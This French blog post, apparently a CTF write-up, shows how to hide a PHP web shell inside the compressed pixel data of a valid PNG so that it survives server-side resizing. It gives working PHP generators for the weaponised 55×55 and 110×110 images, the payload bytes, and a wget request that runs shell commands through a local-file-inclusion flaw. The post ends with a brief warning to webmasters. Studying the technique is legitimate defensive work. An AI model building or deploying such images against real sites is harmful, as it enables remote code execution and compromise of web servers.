La PNG qui se prenait pour du PHP

Ou, comment mettre du code PHP dans un fichier PNG valide.

Lors d’un CTF et de l’exploitation d’une faille de type LFI, nous n’avions qu’un répertoire où nous pouvions écrire des images PNG. Et bien-sûr à la réception les images étaient redimensionnées en 55×55 et épurées de tous les champs de commentaires ou d’informations. Impossible donc de mettre simplement du PHP dans les commentaires de la PNG, qui sont stockés bruts dans des chaines de caractères sans encodage particulier.

C’est là que Google intervient et que je tombe sur ce blog maintenu par un expert en sécurité :

https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

L’article est fort intéressent car il donne tous les éléments pour arriver à diriger le processus d’encodage de l’image au format PNG afin de générer un fichier parfaitement valide tout en faisant apparaitre du PHP dans la zone compressée des pixels ! Peut-être étais-je le seul ignare sur terre à ne pas savoir que cette technique existait, mais la découverte de ce genre de hack me rappelle au combien on se couche parfois moins con le soir suivant. Il est fortement conseillé de lire l’article ci-dessus pour mettre en pratique ce qui est expliqué dans ce billet.
L’euphorie du moment dissipée il faut maintenant mettre en pratique tout ça. Bien sûre dans ce genre d’exploitation tout est dans le détail. Par malchance, les PNG fournies étaient calculée pour du redimensionnement 32×32 et ne fonctionnaient pas avec un redimensionnement vers 55×55. Même en reprenant bêtement le payload et en le mettant dans une image 55×55, les données sources compressées par la ZLIB étant plus nombreuses, le résultat de la ZLIB ne donnait pas le shell-code-like PHP attendu.
Il n’y a donc pas le choix, il faut comprendre les choses dans le détail et faire en sorte que la ZLIB soit alimenté par le bon contenu et génère le PHP voulu.
En partant d’une image décompressée dans un buffer (dite RAW) trois grandes étapes dans le processus de redimensionnement et de construction de l’image cible interviennent. Elles sont toutes décrites dans le blog cité plus haut :

  • La sélection du sous-ensemble de pixels qui resteront (échantillonnage)
  • Le passage des filtres qui réorganisent les pixels pour une compression plus efficace
  • La compression en stockage de l’image filtrée dans son format PNG définitif

Vous l’aurez deviné, afin d’obtenir du code PHP intelligible dans la zone IDAT de l’image PNG, il va falloir prédire les valeurs des pixels en amont. Le code PHP que l’on va essayer d’obtenir est «<?=$_GET[0]($_POST[1]);?>». Phil (l’Australien pas moi !) a déjà fait le fastidieux calcul inverse du payload à fournir à la ZLIB pour l’obtenir, c’est la chaine «03A39F67546F2C24152B116712546F112E29152B2167226B6F5F5310 ». On ne va pas réinventer la roue, ça sera parfait pour nous.
Pour tester rapidement la compression / décompression de données, je vous conseille l’excellent zpipe qui s’utilise comme suit :

cat data.raw | zpipe > data.pak
cat data.pak | zpipe -d > data.raw

C’est là que les choses difficiles commencent. L’exemple fonctionnait bien en 32×32, mais plus en 55×55. La raison est que le payload «03A39F……5F5310» n’est passé à la ZLIB seul, il est accompagné d’une ribambelle de pixels noirs juste derrières. Sans rien toucher des recettes données sur le blog cité, on peut aller jusqu’à 48×48. Au-delà le payload devient inefficace car les 00 ajoutés le dénature suffisamment pour que la structure cible prédite ne soit plus la bonne.
Pour pallier à ce problème, je n’ai pas trouvé mieux que d’injecter arbitrairement des datas de façon aléatoire juste après le payload. En rouge dans le dump ci-dessous. L’idée sous-jacente étant que les algos de compression de la ZLIB n’allaient rien trouver de commun et continueraient la compression sans arriver à mutualiser avec la première structure déjà créée. Cette technique fonctionne visiblement très bien avec des petites tailles d’images, qui sont justement la cible.

Nouveau payload à fournir à la ZLIB pour obtenir le PHP attendu :

Brut55_2Une fois le payload original accolé à ces datas random il faut calculer leurs images avec le filtre inverse pour amener les algorithmes PNG à sélectionner le filtre numéro 1 ou 3, qui sont les cibles pour le payload ZLIB. Le générateur ci-dessous effectue ces calculs :

<?

// filter inv avec le payload original 32x32 + 13 pixel random :
$p  = array(0xa3, 0x9f, 0x67, 0x54, 0x6f, 0x2c, 0x24, 0x15, 0x2b, 0x11, 0x67, 0x12, 0x54, 0x6f, 0x11, 0x2e, 0x29, 0x15, 0x2b, 0x21, 0x67, 0x22, 0x6b, 0x6f, 0x5f, 0x53, 0x10,     0x50,0x51,0xf4,0x0c,0x9c,0xeb,0x84,0xe1,0xd8,0x94,0x03,0xf5,0x2e,0x97,0x48,0x2f,0x50,0xe0,0xd0,0x02,0xc9,0x01,0x32,0xa9,0x3c,0x5c,0xb1,0x19,0x6e,0x6c,0xb1,0x0b,0xe1,0xd6,0x17,0x1c,0x8f,0x1b,0x14,     0,0,0);
$p2 = array(0xa3, 0x9f, 0x67, 0x54, 0x6f, 0x2c, 0x24, 0x15, 0x2b, 0x11, 0x67, 0x12, 0x54, 0x6f, 0x11, 0x2e, 0x29, 0x15, 0x2b, 0x21, 0x67, 0x22, 0x6b, 0x6f, 0x5f, 0x53, 0x10,     0x50,0x51,0xf4,0x0c,0x9c,0xeb,0x84,0xe1,0xd8,0x94,0x03,0xf5,0x2e,0x97,0x48,0x2f,0x50,0xe0,0xd0,0x02,0xc9,0x01,0x32,0xa9,0x3c,0x5c,0xb1,0x19,0x6e,0x6c,0xb1,0x0b,0xe1,0xd6,0x17,0x1c,0x8f,0x1b,0x14,     0,0,0);

$s = sizeof($p);
$s2 = sizeof($p2);

// Reverse Filter 1
for ($i = 0; $i < $s; $i++)
$p[$i+3] = ($p[$i+3] + $p[$i]) % 256;
// Reverse Filter 3
for ($i = 0; $i < $s2; $i++)
$p2[$i+3] = ($p2[$i+3] + floor($p2[$i] / 2)) % 256;

for ($i = 0; $i < $s; $i++)
printf("0x%02X, ", $p[$i]);
printf("\n");
for ($i = 0; $i < $s2; $i++) printf("0x%02X, ", $p2[$i]);
printf("\n");

?>

Les données affichées par le bout de code PHP ci-dessus sont donc les pixels réels de l’image RAW qui vont générer le payload attendu une fois les filtres 1 & 3 du format PNG exécuté. On va donc les utiliser pour encoder la PNG :

<?

header('Content-Type: image/png');

$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0xD2, 0x88, 0xFC, 0x69, 0xD0, 0x2B, 0xB9, 0xB0, 0xFB, 0xBB, 0x79, 0xFC, 0xED, 0x22, 0x38, 0x49, 0xD3, 0x51, 0xB7, 0x3F, 0x02, 0xC2, 0x20, 0xD8, 0xD9, 0x3C, 0x67, 0xF4, 0x50, 0x67, 0xF4, 0x50, 0xA3, 0x9F, 0x67, 0xA5, 0xBE, 0x5F, 0x76, 0x74, 0x5A, 0x4C, 0xA1, 0x3F, 0x7A, 0xBF, 0x30, 0x6B, 0x88, 0x2D, 0x60, 0x65, 0x7D, 0x52, 0x9D, 0xAD, 0x88, 0xA1, 0x66, 0x94, 0xA1, 0x27, 0x56, 0xEC, 0xFE, 0xAF, 0x57, 0x57, 0xEB, 0x2E, 0x20, 0xA3, 0xAE, 0x58, 0x80, 0xA7, 0x0C, 0x10, 0x55, 0xCF, 0x09, 0x5C, 0x10, 0x40, 0x8A, 0xB9, 0x39, 0xB3, 0xC8, 0xCD, 0x64, 0x45, 0x3C, 0x49, 0x3E, 0xAD, 0x3F, 0x33, 0x56, 0x1F, 0x19 );

$img = imagecreatetruecolor(55, 55);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img);

?>

Voilà à quoi ressemble la PNG ci-dessus :

gen.php(cliquer sur l’image ci-dessus pour l’observer)

Le plus intéressent étant bien-sure ceci, dans la PNG générée le PHP attendu est bien présent, comme en atteste l’affichage hexa du fichier PNG généré :

Dump_gen3Maintenant que la génération du PHP est correct dans une 55×55, il ne reste plus qu’à fabriquer une image plus grande. Elle passera inaperçue lors de son envoie sur le site (hormis la tronche plus que suspecte !) car la zone IDAT compressée d’une PNG plus grande ne contiendra pas le code PHP.

A titre d’exemple, voilà la génération d’une image 110×110, qui passe sans problème la fonction de redimensionnement fait par la lib GD depuis la fonction PHP imagecopyresampled() et qui donnera une PNG 55×55 le shell-code-like PHP attendu :

<?

header('Content-Type: image/png');

$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0xD2, 0x88, 0xFC, 0x69, 0xD0, 0x2B, 0xB9, 0xB0, 0xFB, 0xBB, 0x79, 0xFC, 0xED, 0x22, 0x38, 0x49, 0xD3, 0x51, 0xB7, 0x3F, 0x02, 0xC2, 0x20, 0xD8, 0xD9, 0x3C, 0x67, 0xF4, 0x50, 0x67, 0xF4, 0x50, 0xA3, 0x9F, 0x67, 0xA5, 0xBE, 0x5F, 0x76, 0x74, 0x5A, 0x4C, 0xA1, 0x3F, 0x7A, 0xBF, 0x30, 0x6B, 0x88, 0x2D, 0x60, 0x65, 0x7D, 0x52, 0x9D, 0xAD, 0x88, 0xA1, 0x66, 0x94, 0xA1, 0x27, 0x56, 0xEC, 0xFE, 0xAF, 0x57, 0x57, 0xEB, 0x2E, 0x20, 0xA3, 0xAE, 0x58, 0x80, 0xA7, 0x0C, 0x10, 0x55, 0xCF, 0x09, 0x5C, 0x10, 0x40, 0x8A, 0xB9, 0x39, 0xB3, 0xC8, 0xCD, 0x64, 0x45, 0x3C, 0x49, 0x3E, 0xAD, 0x3F, 0x33, 0x56, 0x1F, 0x19 );

$img = imagecreatetruecolor(110, 110);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3)*2, 0, $color);
imagesetpixel($img, round($y / 3)*2+1, 0, $color);
imagesetpixel($img, round($y / 3)*2, 1, $color);
imagesetpixel($img, round($y / 3)*2+1, 1, $color);
}

imagepng($img);

?>

Ce qui donne l’image suivante :
gen5.phpSon dump hexa :

110x110hexOn constate que le PHP a disparu de la zone IDAT. Mission accomplie, la PNG est prête !

Maintenant que vous savez créer une telle image valide aux yeux du moteur PHP, je vais quand même donner le moyen de l’appeler depuis un site ayant une faille de type LFI.
L’exemple choisi permet d’obtenir la liste des fichiers dans le répertoire courant :

wget "http://www.victime.fr/page-pourave.php?param=../upload/img-missile.png&0=shell_exec"  --post-data "1=ls"

Conclusion : Gérer un site web n’est pas évident et est encore plus problématique si l’on accepte des données en provenance des utilisateurs. La technique ci-dessus est inoffensive … tant que vous n’avez pas de faille de type LFI, mais à la première venue vous risquez les ennuis ! Bon courage mes chers webmaster.

Laisser un commentaire